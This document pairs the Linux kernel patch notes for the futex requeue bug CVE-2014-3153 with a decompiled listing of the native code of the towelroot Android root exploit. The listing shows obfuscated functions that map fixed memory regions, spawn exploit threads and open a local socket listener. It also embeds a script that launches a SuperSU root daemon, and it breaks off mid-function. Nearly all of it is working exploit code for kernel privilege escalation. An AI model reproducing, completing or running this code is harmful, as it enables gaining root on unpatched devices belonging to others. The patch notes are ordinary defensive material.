CVE-2014-3153 com.geohot.towelroot

futex-prevent-requeue-pi-on-same-futex.patch futex: Forbid uaddr == uaddr2 in futex_requeue(..., requeue_pi=1)
If uaddr == uaddr2, then we have broken the rule of only requeueing from
a non-pi futex to a pi futex with this call.  If we attempt this, then
dangling pointers may be left for rt_waiter resulting in an exploitable
condition.

This change brings futex_requeue() in line with futex_wait_requeue_pi()
which performs the same check as per commit 6f7b0a2a5c0f ("futex: Forbid
uaddr == uaddr2 in futex_wait_requeue_pi()")

[ tglx: Compare the resulting keys as well, as uaddrs might be
      different depending on the mapping ]

Fixes CVE-2014-3153.

Reported-by: Pinkie Pie
Signed-off-by: Will Drewry <wad@chromium.org>
Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: stable@vger.kernel.org
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Reviewed-by: Darren Hart <dvhart@linux.intel.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

/* This file has been generated by the Hex-Rays decompiler.
Copyright (c) 2007-2014 Hex-Rays <info@hex-rays.com>

Detected compiler: GNU C++
*/

#include <defs.h>


//-------------------------------------------------------------------------
// Function declarations

// int __fastcall _aeabi_memcpy(_DWORD, _DWORD, _DWORD); weak
// int _android_log_print(_DWORD, _DWORD, const char *, ...); weak
// int __fastcall sleep(_DWORD); weak
// int __fastcall getpid(_DWORD); weak
// int __fastcall pthread_create(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int __fastcall mmap(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int __fastcall pthread_mutex_lock(_DWORD); weak
// int __fastcall pthread_cond_wait(_DWORD, _DWORD); weak
// int __fastcall socket(_DWORD, _DWORD, _DWORD); weak
// int __cdecl setsockopt(_DWORD); weak
// int __fastcall bind(_DWORD, _DWORD, _DWORD); weak
// int __fastcall listen(_DWORD, _DWORD); weak
// int __fastcall accept(_DWORD, _DWORD, _DWORD); weak
// int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int __fastcall kill(_DWORD, _DWORD); weak
// int __fastcall pthread_mutex_unlock(_DWORD); weak
// int __fastcall usleep(_DWORD); weak
// int sprintf(char *, const char *, ...);
// FILE *fopen(const char *, const char *);
// size_t fread(void *, size_t, size_t, FILE *);
// char *strstr(const char *, const char *);
// int atoi(const char *);
// void *malloc(size_t);
// int pthread_mutex_init(void); weak
// int __fastcall write(_DWORD, _DWORD, _DWORD); weak
// int __fastcall munmap(_DWORD, _DWORD); weak
// int __fastcall setpriority(_DWORD, _DWORD, _DWORD); weak
// void perror(const char *);
// int __fastcall recvmsg(_DWORD, _DWORD, _DWORD); weak
// int __fastcall sendmsg(_DWORD, _DWORD, _DWORD); weak
// int __fastcall connect(_DWORD, _DWORD, _DWORD); weak
// int __fastcall pthread_cond_signal(_DWORD); weak
// int __fastcall sigaction(_DWORD, _DWORD, _DWORD); weak
// size_t fwrite(const void *, size_t, size_t, FILE *);
// int fclose(FILE *);
// int __fastcall chmod(_DWORD, _DWORD); weak
// int fork(void); weak
// int system(const char *);
// int getuid(void); weak
// int __fastcall open(_DWORD, _DWORD); weak
// int unlockpt(void); weak
// int __fastcall ptsname(_DWORD); weak
// int __fastcall pipe(_DWORD); weak
// int __fastcall read(_DWORD, _DWORD, _DWORD); weak
// int __cdecl _errno(_DWORD, _DWORD); weak
// int __fastcall close(_DWORD); weak
// int __fastcall _aeabi_memset(_DWORD, _DWORD, _DWORD); weak
// size_t strlen(const char *);
// int memcmp(const void *, const void *, size_t);
int __fastcall Java_com_geohot_towelroot_TowelRoot_rootTheShit(int a1);
int sub_12C0();
signed int sub_189C();
int sub_1B08();
int sub_5960();
int sub_7390();
int __fastcall sub_7690(int a1);
int __fastcall sub_8394(int a1);
signed int sub_881C();
int __fastcall sub_B7D8(int a1, int a2, int a3);
int __fastcall sub_BA44(int a1, int a2, int a3);
signed int sub_BD38();
int __fastcall sub_D64C(int result);
int __fastcall sub_D66C(int result);
int __fastcall sub_D7EC(int result);
int __fastcall sub_D86C(int result);
int __fastcall sub_D8EC(int result);
void __fastcall sub_DAEC(int a1);
void sub_DB44();
unsigned int __fastcall sub_DB74(unsigned int a1, unsigned int *a2);
void sub_DB7C();
int __fastcall sub_DBDC(int result);
void __fastcall __spoils<R1,R2,R3,R12> sub_DE6C(int a1, int a2, int i, int a4);
void __fastcall __spoils<R1,R2,R3> sub_E1A4(int a1, int a2, int a3);
int __fastcall sub_E36C(void *a1, void *a2);
int __fastcall sub_E5DC(int result);
int __fastcall sub_E5FC(int result);
int __fastcall sub_E6BC(int result);
int __fastcall sub_E6EC(int result);
int __fastcall sub_E70C(int result);
int __fastcall sub_E7AC(int result);
int __fastcall sub_E7CC(int result);
int __fastcall sub_E80C(int result);
int __fastcall sub_E83C(int a1, int a2, int a3, int a4);
int __fastcall sub_E85C(int a1, int a2, int a3, int a4);
unsigned int __fastcall sub_E91C(unsigned int result, unsigned int a2);
unsigned int __fastcall sub_E9C8(unsigned int a1, unsigned int a2);
int __fastcall sub_E9E0(int result, unsigned int a2);
int __cdecl nullsub_1(_DWORD); // weak
int __fastcall sub_EAE0(_DWORD, _DWORD, _DWORD, _DWORD); // weak
int __fastcall sub_EAE4(__int64 a1, __int64 a2);
int __fastcall sub_ED90(int result);
int __fastcall sub_EDB4(int result);
int __fastcall sub_EE90(int result, unsigned int a2, int a3, unsigned int a4);
void __fastcall sub_F0FC(int a1, int a2, int a3, unsigned int a4);
void __fastcall sub_F290(int a1, int a2, int a3, unsigned int a4);
int __fastcall sub_F310(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
unsigned int __fastcall sub_F398(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4);
void __fastcall __spoils<R1,R2,R3,R12> sub_F3B4(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F3C8(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F3DC(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F3F0(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F404(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4);
void __fastcall sub_F418(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4);
unsigned int __fastcall sub_F42C(unsigned int a1, int a2);
unsigned int __fastcall sub_F488(int a1, int a2);
int __fastcall sub_F528(int a1, int a2, int a3);
unsigned __int64 __fastcall sub_F53C(__int64 a1, __int64 a2);
int __fastcall sub_F558(__int64 a1, __int64 a2);
int __fastcall sub_F58C(__int64 a1, __int64 a2, int a3);
unsigned __int64 __fastcall sub_F5D0(__int64 a1, __int64 a2, int a3);
unsigned __int64 __fastcall sub_10A64(unsigned int a1, unsigned int a2, int a3, int a4);
signed int __fastcall sub_10EE0(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4);
int __fastcall sub_13628(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int (__fastcall *a10)(_DWORD));
int __fastcall sub_185F4(int a1);
int __fastcall sub_18928(int a1);
int __fastcall sub_18964(int a1, int a2, int a3, int a4, int a5, int a6);
signed int __fastcall sub_18C08(int a1);
signed int __fastcall sub_18C54(int a1);
int sub_18D40();
int __fastcall sub_19008(int (__fastcall *a1)(_DWORD));
signed int __fastcall sub_190DC(int a1);
int __fastcall sub_1943C(int a1, int a2, int a3, int a4, int a5, int (*a6)(void));
signed int __fastcall sub_19ADC(signed int a1, int a2);
int __fastcall sub_19AFC(signed int a1, int a2, int a3);
int __fastcall sub_1ADCC(int a1, int a2, int a3);
int __fastcall sub_1AE6C(int a1, int a2);
signed int __fastcall sub_1B7D0(signed int a1);
int __fastcall sub_1B870(int a1);
signed int __fastcall sub_1BDE4(unsigned int a1);
signed int __fastcall sub_1BE20(unsigned int *a1);
signed int __fastcall sub_1BE7C(int a1, int a2);
__int64 __fastcall sub_1BEC4(int a1, int a2);
void __fastcall sub_1BF74(int a1, void *a2);
char *__fastcall sub_1C184(int a1);
char *__fastcall sub_1C1D8(int a1, int a2, int a3, int a4);
char *__fastcall sub_1C298(int a1, int a2);
char *__fastcall sub_1C400(int a1, int a2);
signed int __fastcall sub_1C570(signed int result);
signed int __fastcall sub_1C5A0(signed int a1, unsigned int a2);
signed int __fastcall sub_1C64C(signed int *a1, signed int a2);
signed int __fastcall sub_1C67C(signed int a1, int a2, int a3);
int __fastcall sub_1C71C(signed int a1, unsigned int a2);
char *__fastcall sub_1D5AC(int a1, signed int a2, signed int a3, int a4);
int __fastcall sub_1D634(int a1, int a2);
int __fastcall sub_1E164(int a1, int a2, signed int a3);
int __fastcall sub_1E41C(int a1, int a2, signed int a3);
unsigned int __fastcall sub_1E5DC(unsigned int result, int a2, int a3);
int __fastcall sub_1E61C(int a1, int a2, int a3);
int __fastcall sub_1E6A0(int a1, int a2, int a3);
int __fastcall sub_1E8C8(int a1, int a2, int a3, int a4);
signed int sub_1ECC4();
signed int sub_1ECD4();
int sub_1ED08();
signed int __fastcall sub_1ED8C(int a1, int a2);
signed int __fastcall sub_1EE30(int a1, int a2);
int __fastcall sub_1EE94(int result, int a2);
void sub_1EEBC();
void __fastcall sub_1EECC(unsigned int *a1);
void sub_1EF28();
signed int __fastcall sub_1EF38(int a1);
void __fastcall sub_1EF90(int a1);
void __fastcall sub_1EFCC(int a1);
void __fastcall sub_1F0E0(int a1);
signed int __fastcall sub_1F158(int a1);
signed int __fastcall sub_1F250(unsigned int *a1);
signed int __fastcall sub_1F524(int a1, int a2, char *a3, int a4);
int __fastcall sub_1F840(int a1);
int __fastcall sub_1FAB4(int (__fastcall *a1)(_DWORD), int a2, unsigned int *a3);
int sub_1FD74();
int sub_1FD84();
int sub_1FDA0();
int sub_1FDD8();
signed int __fastcall sub_20060(int a1, unsigned int a2, unsigned int a3, int a4);
signed int __fastcall sub_201B0(signed int a1, int a2);
signed int __fastcall sub_20418(int a1, int a2, int a3);
signed int __fastcall sub_20498(signed int result);
signed int __fastcall sub_20510(int a1);
signed int __fastcall sub_20590(int a1, int a2);
int __fastcall sub_20780(int a1, char *a2, int a3);
int __fastcall sub_207E8(int a1, char *a2, int a3, int a4);
int __fastcall sub_229AC(int a1, signed int a2, int a3, int a4);
int sub_22CF0(void); // weak
int __fastcall sub_22D08(_DWORD); // weak

//-------------------------------------------------------------------------
// Data declarations

_UNKNOWN unk_CAC9; // weak
_UNKNOWN unk_CDF9; // weak
char install_recovery_sh[630] = "#!/system/bin/sh # If you're implementing this in a custom kernel/firmware, # I suggest you use a different script name, and add a service # to launch it from init.rc # Launches SuperSU in daemon mode only on Android 4.3+. # Nothing will happen on 4.2.x or older, unless SELinux+Enforcing. # If you want to force loading the daemon, use "--daemon" instead /system/xbin/daemonsu --auto-daemon & # Some apps like to run stuff from this script as well, that will # obviously break root - in your code, just search this file # for "install-recovery-2.sh", and if present, write there instead. /system/etc/install-recovery-2.sh "; // weak
_UNKNOWN install_recovery_sh_len; // weak
_UNKNOWN su; // weak
_UNKNOWN loc_EC2C; // weak
_UNKNOWN loc_EF74; // weak
_UNKNOWN loc_F024; // weak
_UNKNOWN loc_F08C; // weak
_UNKNOWN loc_F0D8; // weak
_UNKNOWN loc_F0F0; // weak
int dword_18734 = 2155905152; // weak
void *off_18958 = &loc_DE58; // weak
int dword_1895C = 4294966960; // weak
int dword_18960 = 21505; // weak
void *off_18C84 = &unk_DB30; // weak
int dword_18C88 = 4294967208; // weak
void *off_18D78 = &loc_1E56C; // weak
void *off_18D7C = &loc_1E5EA; // weak
void *off_18D80 = &unk_DA34; // weak
int dword_18D84 = 4294967212; // weak
int dword_18D88 = 4294967216; // weak
void *off_19040 = &loc_D778; // weak
int dword_19044 = 4294967220; // weak
void *off_191B4 = &loc_D6A4; // weak
int dword_191B8 = 4294967216; // weak
void *off_191BC = (void *)0xFFFFFF49; // weak
void *off_191C0 = (void *)0xDFFF; // weak
void *off_19E40 = (void *)0xCC84; // weak
int dword_19E44 = 4294966960; // weak
void *off_19E48 = (void *)0x9376; // weak
int dword_1AD54 = 4294966960; // weak
void *off_1AE58 = &loc_B9B4; // weak
int dword_1AE5C = 4294966960; // weak
int dword_1AE64 = 1124; // weak
void *off_1B868 = &loc_AFB0; // weak
int dword_1B86C = 4294967216; // weak
void *off_1B91C = (void *)0xAF0E; // weak
int dword_1B920 = 4294967244; // weak
int dword_1B924 = 4294967248; // weak
int dword_1B928 = 4294967200; // weak
int dword_1B92C = 4294967252; // weak
int dword_1BEB8 = 2146435072; // weak
int dword_1BEBC = 4240441344; // weak
__int64 qword_1BF64 = 9221120237041090560LL; // weak
void *off_1BF6C = &unk_1BAB2; // weak
int dword_1BF70 = 1072693248; // weak
void *off_1BFDC = &unk_1BA00; // weak
void *off_1C1D0 = &loc_1B7F2; // weak
void *off_1C1D4 = &unk_1B7B8; // weak
void *off_1C28C = &unk_1B78E; // weak
int dword_1C290 = 4294966221; // weak
int dword_1C294 = 4294966222; // weak
void *off_1C3F4 = &loc_1B6DC; // weak
void *off_1C3F8 = (void *)0x1B6A8; // weak
void *off_1C3FC = &loc_1B590; // weak
void *off_1C55C = (void *)0x1B574; // weak
void *off_1C560 = &loc_1B52A; // weak
void *off_1C564 = &loc_1B50A; // weak
int dword_1C568 = 4294901760; // weak
void *off_1C56C = &loc_1B432; // weak
void *off_1C59C = &loc_1B404; // weak
void *off_1C644 = &loc_1B3D4; // weak
void *off_1C648 = &loc_1B3AE; // weak
void *off_1C678 = &loc_1B328; // weak
void *off_1C714 = &loc_1B2F8; // weak
void *off_1C718 = &loc_1B2A2; // weak
void *off_1C7D4 = &loc_1B258; // weak
void *off_1C7D8 = (void *)0x6A56; // weak
void *off_1C7DC = &loc_1B22C; // weak
int dword_1C7E0 = 625; // weak
void *off_1C7E4 = &loc_1B1F8; // weak
void *off_1D62C = &unk_1A3A4; // weak
int dword_1D904 = 0; // weak
int dword_1D90C = 0; // weak
void *off_1D914 = (void *)0x914A; // weak
int dword_1D918 = 4294967240; // weak
int dword_1D91C = 4294967268; // weak
void *off_1D920 = (void *)0x75F7; // weak
char *off_1D924 = (char *)0x75EB; // weak
char *off_1D928 = (char *)0x75CB; // weak
int dword_1D930 = 19999; // weak
int dword_1DC44 = 0; // weak
int dword_1DC4C = 0; // weak
int dword_1DC50 = 0; // weak
void *off_1DC54 = (void *)0x5832; // weak
void *off_1DC58 = (void *)0x57F2; // weak
void *off_1DC5C = (void *)0x57D2; // weak
void *off_1DC60 = (void *)0x57A2; // weak
void *off_1DC64 = (void *)0x5776; // weak
void *off_1DC68 = &loc_57A0; // weak
int dword_1DC6C = 4239392768; // weak
void *off_1DC70 = (void *)0x576A; // weak
int dword_1DC74 = 2146435072; // weak
int dword_1DC78 = 2090860544; // weak
int dword_1DC7C = 2089811968; // weak
int dword_1DC80 = 2146435071; // weak
void *off_1DC84 = (void *)0x569E; // weak
void *off_1DC88 = &loc_56F4; // weak
void *off_1DC8C = &loc_56B8; // weak
void *off_1DC90 = &unk_19D9C; // weak
int dword_1DF94 = 0; // weak
int dword_1DF98 = 0; // weak
int dword_1DF9C = 0; // weak
int dword_1DFA0 = 1073741824; // weak
int dword_1DFA4 = 0; // weak
int dword_1DFA8 = 1072693248; // weak
int dword_1DFAC = 0; // weak
int dword_1DFB0 = 1071644672; // weak
int dword_1DFB4 = 1075; // weak
int dword_1DFB8 = 4294966275; // weak
void *off_1DFBC = &unk_19C4E; // weak
void *off_1DFC0 = &loc_19BDA; // weak
int dword_1DFC4 = 1048575; // weak
int dword_1DFC8 = 2146435072; // weak
int dword_1DFD0 = 1072693248; // weak
int dword_1DFD4 = 1071644672; // weak
int dword_1DFD8 = 3220176896; // weak
int dword_1DFDC = 2145386496; // weak
int dword_1DFE0 = 4239392768; // weak
int dword_1DFE4 = 2090860543; // weak
int dword_1DFE8 = 2146435071; // weak
int dword_1E134 = 0; // weak
int dword_1E138 = 1072693248; // weak
__int64 qword_1E13C = 4602678819172646912LL; // weak
int dword_1E144 = 2493527445; // weak
int dword_1E148 = 1071644671; // weak
int dword_1E14C = 900719925; // weak
int dword_1E150 = 1071644672; // weak
int dword_1E154 = 2493527445; // weak
int dword_1E158 = 1070596095; // weak
int dword_1E15C = 2146435072; // weak
__int64 qword_1E3C4 = 2305843009213693951LL; // weak
int dword_1E3CC = 0; // weak
int dword_1E3D0 = 3758096384; // weak
__int64 qword_1E3D4 = 1152921504606846975LL; // weak
int dword_1E3DC = 0; // weak
int dword_1E3E0 = 4026531840; // weak
__int64 qword_1E3E4 = 922337203685477580LL; // weak
int dword_1E3EC = 858993460; // weak
int dword_1E3F0 = 4080218931; // weak
__int64 qword_1E3F4 = 9223372036854775807LL; // weak
__int64 qword_1E3FC = -9223372036854775808LL; // weak
int dword_1E404 = 0; // weak
int dword_1E408 = 4160749568; // weak
__int64 qword_1E40C = 576460752303423487LL; // weak
void *off_1E414 = (void *)0x861A; // weak
int dword_1E418 = 4294967240; // weak
__int64 qword_1E5BC = 1844674407370955161LL; // weak
__int64 qword_1E5C4 = 1152921504606846975LL; // weak
__int64 qword_1E5CC = 2305843009213693951LL; // weak
void *off_1E5D4 = (void *)0x8362; // weak
int dword_1E5D8 = 4294967240; // weak
void *off_1E648 = (void *)0x4E86; // weak
_UNKNOWN loc_1E9B0; // weak
void *off_1ECD0 = &unk_18E58; // weak
void *off_1ECE0 = &unk_18E48; // weak
void *off_1F0D8 = &unk_18B04; // weak
void *off_1F0DC = &unk_18AA8; // weak
int dword_1F0FC = 3735883980; // weak
void *off_1F24C = &loc_18948; // weak
void *off_1F3C4 = &unk_18834; // weak
void *off_1F3C8 = &unk_1879C; // weak
void *off_1F5F0 = &unk_185A8; // weak
void *off_1F5F4 = &unk_18570; // weak
void *off_1F5F8 = &loc_3FE4; // weak
void *off_1FAA4 = &unk_18274; // weak
void *off_1FAA8 = &unk_18254; // weak
void *off_1FAAC = &unk_18168; // weak
void *off_1FAB0 = &unk_180B8; // weak
int (*off_1FD80)(void) = (int (*)(void))0xFFFF0FE0; // weak
void *off_1FD98 = (void *)0x69FE; // weak
int dword_1FD9C = 4294967284; // weak
void *off_1FDB4 = (void *)0x69E2; // weak
int dword_1FDB8 = 4294967284; // weak
void *off_1FDEC = (void *)0x69AA; // weak
int dword_1FDF0 = 4294967284; // weak
void *off_201A0 = &loc_671C; // weak
int dword_201A4 = 4294967216; // weak
void *off_201A8 = (void *)0xFFFFFF39; // weak
void *off_201AC = (void *)0xDFFF; // weak
void *off_2048C = (void *)0x635E; // weak
int dword_20490 = 4294959104; // weak
int dword_20494 = 4294967228; // weak
void *off_20508 = &loc_62E8; // weak
int dword_2050C = 4294967212; // weak
int dword_2058C = 1021; // weak
void *off_20658 = &loc_61F0; // weak
int dword_2065C = 4294967216; // weak
void *off_207DC = (void *)0x3333; // weak
char *off_207E0 = (char *)0x46F6; // weak
void *off_207E4 = (void *)0xA192; // weak
void *off_20840 = (void *)0x5F96; // weak
int dword_20844 = 4294966960; // weak
int dword_2084C = 1028; // weak
int dword_229F8 = 2147483647; // weak
_UNKNOWN su_len; // weak
void *swag = &swag; // weak
void *swag2 = &swag2; // weak
void **ph = &default_phone; // weak
char *new_samsung = "Linux version 3.4.0-"; // weak
_UNKNOWN phones; // idb
int GLOBAL_OFFSET_TABLE_ = 0; // weak
int HACKS_final_stack_base; // idb
_UNKNOWN waiter_thread_tid; // weak
_UNKNOWN done_lock; // weak
_UNKNOWN done; // weak
_UNKNOWN is_thread_desched_lock; // weak
_UNKNOWN is_thread_desched; // weak
_UNKNOWN do_socket_tid_read; // weak
_UNKNOWN did_socket_tid_read; // weak
_UNKNOWN do_splice_tid_read; // weak
_UNKNOWN did_splice_tid_read; // weak
_UNKNOWN do_dm_tid_read; // weak
_UNKNOWN did_dm_tid_read; // weak
_UNKNOWN is_thread_awake_lock; // weak
_UNKNOWN is_thread_awake; // weak
_UNKNOWN HACKS_fdm; // weak
_UNKNOWN MAGIC; // weak
_UNKNOWN MAGIC_ALT; // weak
_UNKNOWN is_kernel_writing; // weak
_UNKNOWN last_tid; // weak


//----- (00001170) --------------------------------------------------------
int __fastcall Java_com_geohot_towelroot_TowelRoot_rootTheShit(int a1)
{
signed int v1; // r1@1
signed int v2; // r0@2
int v4; // [sp+0h] [bp-F0h]@1
char v5; // [sp+8h] [bp-E8h]@4
int v6; // [sp+D0h] [bp-20h]@1

v4 = a1;
sub_12C0();
v6 = 0;
v1 = 1781537823;
do
{
while ( 1 )
{
while ( 1 )
{
do
{
while ( 1 )
{
v2 = v1;
if ( v1 > 841942081 )
break;
if ( v1 != -542097158 )
goto LABEL_12;
_aeabi_memcpy(
&v5,
"Thank you for using towelroot! In 15 seconds your phone will reboot And you shall have root If you enjoyed this, please donate at towelroot.com Your donations make these roots happen!",
186);
v1 = 1719402594;
}
v1 = 841942082;
}
while ( v2 == 1075916476 );
if ( v2 != 841942082 )
break;
_aeabi_memcpy(&v5, "Check adb logcat for debug info", 32);
v1 = 580529129;
}
if ( v2 != 1781537823 )
break;
v1 = 1075916476;
if ( !v6 )
v1 = -542097158;
}
LABEL_12:
v1 = 1719402594;
}
while ( v2 == 580529129 );
if ( v2 != 1719402594 )
{
while ( 1 )
;
}
return (*(int (**)(void))(*(_DWORD *)v4 + 668))();
}
// F24: using guessed type int __fastcall _aeabi_memcpy(_DWORD, _DWORD, _DWORD);

//----- (000012C0) --------------------------------------------------------
int sub_12C0()
{
signed int v0; // r0@1
int v1; // r0@26
int v2; // r0@26
int v3; // r0@26
char v4; // nf@26
char v5; // r0@26
int v6; // r0@38
int v7; // r0@38
int v8; // r1@48
int v10; // [sp+0h] [bp-78h]@26
int v11; // [sp+4h] [bp-74h]@26
const char *v12; // [sp+10h] [bp-68h]@38
int v13; // [sp+14h] [bp-64h]@1
int *v14; // [sp+18h] [bp-60h]@1
int *v15; // [sp+1Ch] [bp-5Ch]@1
unsigned int v16; // [sp+20h] [bp-58h]@26
int *v17; // [sp+24h] [bp-54h]@26
int v18; // [sp+28h] [bp-50h]@1
signed int (*v19)(); // [sp+2Ch] [bp-4Ch]@1
const char *v20; // [sp+30h] [bp-48h]@1
const char *v21; // [sp+34h] [bp-44h]@1
int *v22; // [sp+38h] [bp-40h]@1
const char *v23; // [sp+3Ch] [bp-3Ch]@1
int v24; // [sp+40h] [bp-38h]@1
const char *v25; // [sp+44h] [bp-34h]@1
int *v26; // [sp+48h] [bp-30h]@1
int *v27; // [sp+4Ch] [bp-2Ch]@26
int *v28; // [sp+50h] [bp-28h]@26
char v29; // [sp+57h] [bp-21h]@16

v24 = (int)"towelroot";
v23 = "first mmap failed? ";
v22 = &GLOBAL_OFFSET_TABLE_;
v21 = "************************ ";
v20 = "native towelroot running with pid %d ";
v19 = sub_189C;
v18 = (int)&MAGIC;
v15 = &GLOBAL_OFFSET_TABLE_;
v14 = &GLOBAL_OFFSET_TABLE_;
v13 = (int)&MAGIC_ALT;
v26 = &GLOBAL_OFFSET_TABLE_;
v25 = "second mmap failed? ";
v0 = -1355491773;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v0 > 2035084892 )
{
if ( v0 == 2035084893 )
LABEL_2:
v0 = 335115831;
}
if ( v0 <= 1915650398 )
break;
if ( v0 == 1915650399 )
{
_android_log_print(4, (char *)v26 + 0xFFFE1BCB, v25);
goto LABEL_14;
}
}
if ( v0 <= 1752490660 )
break;
if ( v0 == 1752490661 )
{
v0 = 349808689;
if ( v29 )
v0 = 2035084893;
}
}
if ( v0 <= 1205967478 )
break;
if ( v0 == 1205967479 )
{
sleep(10);
v0 = 924295727;
}
}
if ( v0 > -2022440304 )
break;
if ( v0 == -2092492047 )
{
_android_log_print(4, v24, v23);
goto LABEL_2;
}
}
if ( v0 > -1672133189 )
break;
if ( v0 == -2022440303 )
LABEL_35:
v0 = 1205967479;
}
if ( v0 > -1355491774 )
break;
if ( v0 == -1672133188 )
{
v17 = &v10;
v27 = &v10;
v28 = &v10;
v16 = (unsigned int)((char *)v22 + 0xFFFE1BCB);
v1 = _android_log_print(4, (char *)v22 + 0xFFFE1BCB, v21);
v2 = getpid(v1);
_android_log_print(4, v16, v20, v2);
sub_BD38();
pthread_create(v17, 0, v19, 0);
v10 = -1;
v11 = 0;
v3 = mmap(-1610612736, 1114112, 7, 49) + 2048;
v4 = v3 < 0;
*(_DWORD *)v18 = v3;
v5 = 0;
if ( !v4 )
v5 = 1;
v29 = v5;
v0 = 1752490661;
}
}
if ( v0 > -1218026409 )
break;
if ( v0 == -1355491773 )
LABEL_39:
v0 = -1672133188;
}
if ( v0 > -1194516410 )
break;
if ( v0 == -1218026408 )
{
sleep(10);
goto LABEL_35;
}
}
if ( v0 > 190053935 )
break;
if ( v0 == -1194516409 )
{
v16 = (unsigned int)((char *)v15 + 0xFFFE1BCB);
v17 = &v10;
_android_log_print(4, (char *)v15 + 0xFFFE1BCB, (const char *)v15 + 0xFFFE1BD5);
v12 = (char *)v15 + 0xFFFE1BEF;
v6 = ((int (*)(void))getpid)();
_android_log_print(4, v16, v12, v6);
sub_BD38();
pthread_create(v17, 0, (char *)v15 + 0xFFFD6B04, 0);
v10 = -1;
v11 = 0;
v7 = mmap(-1610612736, 1114112, 7, 49);
**(_DWORD **)((char *)v15 + 0xFFFFFF90) = v7 + 2048;
goto LABEL_39;
}
}
if ( v0 > 335115830 )
break;
if ( v0 == 190053936 )
LABEL_55:
v0 = -2022440303;
}
if ( v0 > 349808688 )
break;
if ( v0 == 335115831 )
{
_android_log_print(4, (char *)v14 + 0xFFFE1BCB, (const char *)v14 + 0xFFFE1C15);
v0 = 190053936;
}
}
if ( v0 > 579860299 )
break;
if ( v0 == 349808689 )
{
v10 = -1;
v11 = 0;
v8 = mmap(0x100000, 1114112, 7, 49) + 2048;
v0 = 579860300;
if ( (unsigned int)v8 > 0x110000 )
v0 = 33119;
*(_DWORD *)v13 = v8;
if ( (unsigned int)v8 > 0x110000 )
HIWORD(v0) = 29230;
}
}
if ( v0 != 921298487 )
break;
sleep(10);
LABEL_14:
v0 = 921298487;
}
if ( v0 == 924295727 )
goto LABEL_55;
}
while ( v0 != 579860300 );
pthread_mutex_lock(&done_lock);
pthread_create(v27, 0, sub_1B08, 0);
pthread_create(v28, 0, sub_5960, 0);
return pthread_cond_wait(&done, &done_lock);
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F48: using guessed type int __fastcall getpid(_DWORD);
// F54: using guessed type int __fastcall pthread_create(_DWORD, _DWORD, _DWORD, _DWORD);
// F60: using guessed type int __fastcall mmap(_DWORD, _DWORD, _DWORD, _DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// F78: using guessed type int __fastcall pthread_cond_wait(_DWORD, _DWORD);
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;

//----- (0000189C) --------------------------------------------------------
signed int sub_189C()
{
int v0; // r0@1
int v1; // r6@1
signed int result; // r0@1
char v3; // nf@10
char v4; // r0@10
int v5; // [sp+10h] [bp-40h]@1
int v6; // [sp+20h] [bp-30h]@1
int v7; // [sp+24h] [bp-2Ch]@1
int v8; // [sp+28h] [bp-28h]@1
int v9; // [sp+2Ch] [bp-24h]@1
char v10; // [sp+33h] [bp-1Dh]@12

v9 = 0;
v8 = 0;
v0 = socket(2, 1, 6);
v1 = v0;
v5 = v0;
setsockopt(v0);
v6 = -1357578238;
v7 = 16777343;
bind(v1, &v6, 16);
listen(v1, 1);
result = -885471600;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( result <= -1081728882 )
{
if ( result == -1784967860 )
{
sleep(10);
result = -1784967860;
}
}
if ( result <= 1480809678 )
break;
if ( result == 1480809679 )
{
_android_log_print(4, "towelroot", "**** SOCK_PROC FAILED **** ");
result = -1784967860;
}
}
if ( result > -885471601 )
break;
if ( result == -1081728881 )
{
v3 = accept(v5, 0, 0) < 0;
v4 = 0;
if ( v3 )
v4 = 1;
v10 = v4;
result = -412768850;
}
}
if ( result > -412768851 )
break;
if ( result == -885471600 )
result = -1081728881;
}
if ( result > 368698846 )
break;
if ( result == -412768850 )
{
result = 1040048129;
if ( v10 )
result = 1480809679;
}
}
if ( result != 980883411 )
break;
accept(v5, 0, 0);
result = -1081728881;
}
if ( result != 1040048129 )
break;
_android_log_print(4, "towelroot", "i have a client like hookers ");
result = -885471600;
}
}
while ( result != 368698847 );
return result;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F84: using guessed type int __fastcall socket(_DWORD, _DWORD, _DWORD);
// F90: using guessed type int __cdecl setsockopt(_DWORD);
// F9C: using guessed type int __fastcall bind(_DWORD, _DWORD, _DWORD);
// FA8: using guessed type int __fastcall listen(_DWORD, _DWORD);
// FB4: using guessed type int __fastcall accept(_DWORD, _DWORD, _DWORD);

//----- (00001B08) --------------------------------------------------------
int sub_1B08()
{
int *v0; // r6@1
signed int v1; // r5@1
signed int v2; // r7@1
signed int v3; // r10@1
signed int v4; // r4@1
signed int v5; // r3@1
signed int v6; // lr@1
signed int v7; // r9@1
signed int v8; // r2@1
signed int v9; // r8@1
signed int v10; // r0@1
void *v11; // r1@13
signed int v12; // r10@13
int v13; // r0@13
signed int v14; // r10@23
signed int v15; // r10@39
int v16; // r0@39
signed int v17; // r5@46
int v18; // r0@46
_UNKNOWN *v19; // r6@46
